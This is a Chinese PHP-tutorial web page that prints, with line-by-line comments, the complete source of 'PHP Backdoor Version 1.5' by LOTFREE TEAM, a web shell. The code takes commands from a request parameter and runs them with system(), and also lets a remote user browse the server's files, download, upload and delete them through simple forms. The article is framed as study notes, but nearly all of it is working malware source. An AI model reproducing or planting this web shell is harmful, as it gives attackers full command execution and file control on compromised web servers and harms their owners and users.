来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户...
PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。
<!–goodlink函数用来过滤掉url中的一些非法字符–> <?php function good_link($link) { $link=ereg_replace(“/+”,”/”,$link); $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link); $link=ereg_replace(“/+”,”/”,$link); if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2); if($link==”")$link=”.”; return $link; } //$_REQUEST用来取得提交到本文件的数据 $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.” $dir=good_link($dir); $rep=opendir($dir); //打开dir指定的路径句柄 chdir($dir); //切换到dir指定的目录 if(isset($_REQUEST["down"]) && $_REQUEST["down"]!=”") //如果定义了down { header(“Content-Type: application/octet-stream”); header(“Content-Length: “.filesize($_REQUEST["down"])); header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"])); readfile($_REQUEST["down"]); //将文件读取到缓冲区 exit(); } ?> <html> <head><title>LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com</title></head> <body> <br> <?php echo “当前绝对路径为: <b>”.getcwd().”</b><br>\n”; //获取当前的绝对路径 echo “<b>dir = ‘$dir’</b><br>\n”; echo “当前目录,文件列表!<br><br>\n”; //如果已经输入要执行的命令 if(isset($_REQUEST['cmd']) && $_REQUEST['cmd']!=”") { echo “<pre>\n”; system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显 echo “</pre>\n”; } //如果已经上传了文件 if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录 { if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) //判断文件是否符合大小规范 { if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录 { echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!<br>\n”; } else echo “文件上传失败: “.$_FILES["fic"]["error"].”<br>\n”; } else echo “File too large(文件超出大小限制)!<br>\n”; } if(isset($_REQUEST['rm']) && $_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件 { if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数 echo “成功删除 “.$_REQUEST['rm'].”!<br>\n”; else echo “删除文件失败<br>\n”; } ?> <hr> <table align=”center”width=”95%”border=”0″cellspacing=”0″bgcolor=”lightblue”> <?php $t_dir=array(); $t_file=array(); $i_dir=0; $i_file=0; //循环输读取前的目录文件,放在t_dir和t_file中 while($x=readdir($rep)) { if(is_dir($x)) //如果当前处理的是目录 $t_dir[$i_dir++]=$x; else //如果当前处理的是文件 $t_file[$i_file++]=$x; } closedir($rep); //关闭由opendir打开的目录句柄 while(1) //循环输入当前路径的目录和文件 { ?> <!–用表格来展示当前目录的文件–> <tr> <td width=”20%” bgcolor=”lightgray” valign=”top”> <?php if($x=each($t_dir)) { $name=$x["value"]; //获取t_dir数组里的目录名称 if($name==’.'){} elseif($name==’..’) echo “ <a href=’”.$_SERVER['PHP_SELF'].”?dir=”.good_link(“$dir/../”).”‘>UP(父目录)</a><br><br>\n”; //展示一个UP链接,读取父目录的文件列表 else echo “ <a href=’”.$_SERVER['PHP_SELF'].”?dir=”.good_link(“$dir/$name”).”‘>”.$name.”</a>\n”; } ?> </td> <td width=’78%’ <?php //$_SERVER['PHP_SELF']取得www.2cto.com当前php脚本文件名 if($y=each($t_file)) { if($y["key"]%2==0) //如果当前处理的是key echo ” bgcolor=’lightgreen’>\n”; else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。 echo “>\n”; echo “ <a href=’”.$_SERVER['PHP_SELF'].”?dir=$dir&down=”.$y["value"].”‘>”.$y["value"].”</a>\n”; } else echo “>\n”; ?> </td> <td valign=’center’ width=’2%’ <?php if($y) { //如果是文件,就提供以下删除该文件的链接 if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”; echo “><a href=’”.$_SERVER['PHP_SELF'].”?dir=$dir&rm=”.$y["value"].”‘><b>Del</b></a>”; } else echo “>\n”; ?> </td> </tr> <?php if(!$x && !$y) break; } ?> </table> <hr> <br> <a href=”<?php echo $_SERVER['PHP_SELF']; ?>?dir=”>revenir au repertoire d’origine</a><br><br> <!–form表单,将用户输入的命令post到服务器–> <form method=”post”action=”<?php echo $_SERVER['PHP_SELF'].”?dir=$dir”; ?>”> <!–action动作,将请求发送给当前php文件,并且定义dir,刷新当前文件列表–> Execute commande(执行操作系统命令) <input type=”text”name=”cmd”> <input type=”submit”value=”Run(执行)”> </form><br> 上传文件到服务器当前目录:<br> <form enctype=”multipart/form-data”method=”post”action=”<?php echo $_SERVER['PHP_SELF'].”?dir=$dir”; ?>”> <!–action动作,将文件post到服务器,刷新当前文件列表–> <input type=”file”name=”fic”><input type=”hidden”name=”MAX_FILE_SIZE”value=”100000″> <input type=”submit”value=”开始上传!”></form><br> <br> 易踪网yeetrack.com <center> PHP Backdoor Version 1.5<br> by sirius_black / LOTFREE TEAM<br> Execute commands, browse the filesystem<br> Upload, download and delete files…<br> <a href=”http://www.lsdp.net/~lotfree”>http://www.lsdp.net/~lotfree</a><br> </center> </body> </html> |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com